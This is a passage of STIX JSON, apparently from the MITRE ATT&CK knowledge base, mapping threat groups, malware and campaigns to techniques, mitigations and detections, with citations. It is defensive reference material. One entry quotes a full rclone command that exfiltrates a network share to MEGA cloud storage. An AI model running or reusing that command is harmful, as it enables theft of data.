binaries.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d32be2c-02cd-4210-879a-429ca9d21f99","type":"relationship","created":"2021-04-13T19:29:21.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:52:40.745Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has installed TeamViewer on targeted systems.(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d3ea12b-fec0-4daa-bb51-190884d88ee0","type":"relationship","created":"2020-12-29T18:44:53.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T18:44:53.358Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has installed TightVNC server and client on compromised servers and endpoints for lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d3fa163-626d-41b8-85c1-f815c458ad19","type":"relationship","created":"2021-03-25T14:49:34.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-04-19T19:31:59.961Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has created a Registry Run key named Dropbox Update Setup to establish persistence for a malicious Python binary.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d4490e3-d3fe-4c2e-8c41-69ebbf8d060e","created":"2022-09-29T20:21:19.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T12:33:34.097Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the [Rclone](https://attack.mitre.org/software/S1040) command `rclone.exe copy --max-age 2y \"\\\\SERVER\\Shares\" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d450e48-e73f-417f-941d-85c8658f5d1f","created":"2020-06-10T21:56:40.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ANSSI Sandworm January 2021","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"},{"source_name":"ESET BlackEnergy Jan 2016","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020.","url":"https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"},{"source_name":"ESET Telebots June 2017","description":"Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020.","url":"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T20:36:59.022Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used Dropbear SSH with a hardcoded backdoor password to maintain persistence within the target network. [Sandworm Team](https://attack.mitre.org/groups/G0034) has also used VPN tunnels established in legitimate software company infrastructure to gain access to internal networks of that software company's users.(Citation: ESET BlackEnergy Jan 2016)(Citation: ESET Telebots June 2017)(Citation: ANSSI Sandworm January 2021)(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d4737ca-bd18-4628-b453-9aed3f555c13","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2019-05-10T12:14:32.059Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has leveraged a zero-day vulnerability to escalate privileges.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d4a9fd6-34cb-4883-a00c-4aea3d00869e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2019-04-24T23:40:23.393Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) has the capability to delete files and scripts from the victim's machine.(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d4cb0b5-148f-4e3f-a09f-7a17823b2b56","created":"2022-09-21T15:38:43.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:21:15.365Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used several tools and batch files to map victims' internal networks.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.224Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d58c303-b76c-4acc-8856-c71e03ea5c44","type":"relationship","created":"2019-06-24T13:48:13.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-25T18:51:01.214Z","description":"Update software regularly by employing patch management for internal enterprise endpoints and servers.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d5d727d-fa37-4de4-9d31-d8e497c910de","created":"2021-03-31T12:29:26.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.204Z","description":"Consider utilizing seccomp, seccomp-bpf, or a similar solution that restricts certain system calls such as mount. In Kubernetes environments, consider defining Pod Security Standards that limit container access to host process namespaces, the host network, and the host file system.(Citation: Kubernetes Hardening Guide)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN10 June 2017","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"}],"modified":"2019-04-25T12:09:56.274Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has used Meterpreter to enumerate users on remote systems.(Citation: FireEye FIN10 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d661b40-6ebf-470f-a675-142f86b6c649","type":"relationship","created":"2019-01-31T02:11:53.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Gauss Whitepaper","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf","description":"Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019."},{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.","source_name":"Kaspersky Equation QA"}],"modified":"2020-06-24T00:32:56.513Z","description":"[Equation](https://attack.mitre.org/groups/G0020) has been observed utilizing environmental keying in payload delivery.(Citation: Kaspersky Gauss Whitepaper)(Citation: Kaspersky Equation QA)","relationship_type":"uses","source_ref":"intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d6d5bc0-2160-4152-9a4b-b2f19a8768b4","created":"2023-08-03T20:34:10.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T18:49:53.407Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has archived the ntds.dit database as a multi-volume password-protected archive with 7-Zip.(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d6e0a95-3265-4a0c-aee1-feff2807489b","type":"relationship","created":"2021-11-12T20:43:05.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-12T20:43:05.878Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has lured victims into opening malicious files containing malware.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d70f1d9-366a-4510-91f6-fe15ca06d7a8","type":"relationship","created":"2020-08-11T21:15:35.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.619Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has used DNS to communicate with the C2.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d784d79-7e84-4760-88d4-78039fbb4de4","type":"relationship","created":"2020-03-11T14:13:43.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T14:13:43.032Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d78512d-1a97-4132-8d8f-cd9ceaf03246","type":"relationship","created":"2021-06-10T14:42:56.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T14:42:56.938Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used Twitter to monitor potential victims and to prepare targeted phishing e-mails.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d787947-fdaf-4fcd-938d-19b4672abfac","type":"relationship","created":"2019-09-13T17:14:47.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-10-07T15:16:12.235Z","description":"[Machete](https://attack.mitre.org/software/S0409) uses the netsh wlan show networks mode=bssid and netsh wlan show interfaces commands to list all nearby WiFi networks and connected interfaces.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d829924-77dc-42cf-897c-a7def75b6be6","created":"2023-08-01T18:47:27.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.560Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can use `schtasks.exe` to gain persistence.(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d8ab290-c3fb-4a0e-aaf6-d783fccfdbb7","created":"2023-03-30T22:45:03.539Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-30T22:45:03.539Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d8e97f7-9c58-47e1-b2c9-2cc55cca974f","created":"2021-09-28T15:46:27.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"},{"source_name":"Kroll Qakbot June 2020","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks"},{"source_name":"Trend Micro Qakbot December 2020","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.","url":"https://success.trendmicro.com/solution/000283381"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T20:24:31.130Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can target and steal locally stored emails to support thread hijacking phishing campaigns.(Citation: Kroll Qakbot June 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d902953-306b-48d4-be7b-f08030ecb62e","type":"relationship","created":"2020-08-13T16:45:47.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Threatpost Hancitor","url":"https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/","description":"Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."}],"modified":"2020-08-13T16:45:47.049Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has the ability to download additional files from C2.(Citation: Threatpost Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d960e5c-2bec-43d2-9c4a-e1810e083114","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage).","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/","description":"Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.","source_name":"Palo Alto PlugX June 2017"}],"modified":"2020-03-20T21:23:51.285Z","description":"[PlugX](https://attack.mitre.org/software/S0013) uses Pastebin to store C2 addresses.(Citation: Palo Alto PlugX June 2017)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d988f8f-2448-409c-ac41-4a507bb8cf23","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2019-03-25T15:36:46.916Z","description":"(Citation: Symantec Orangeworm April 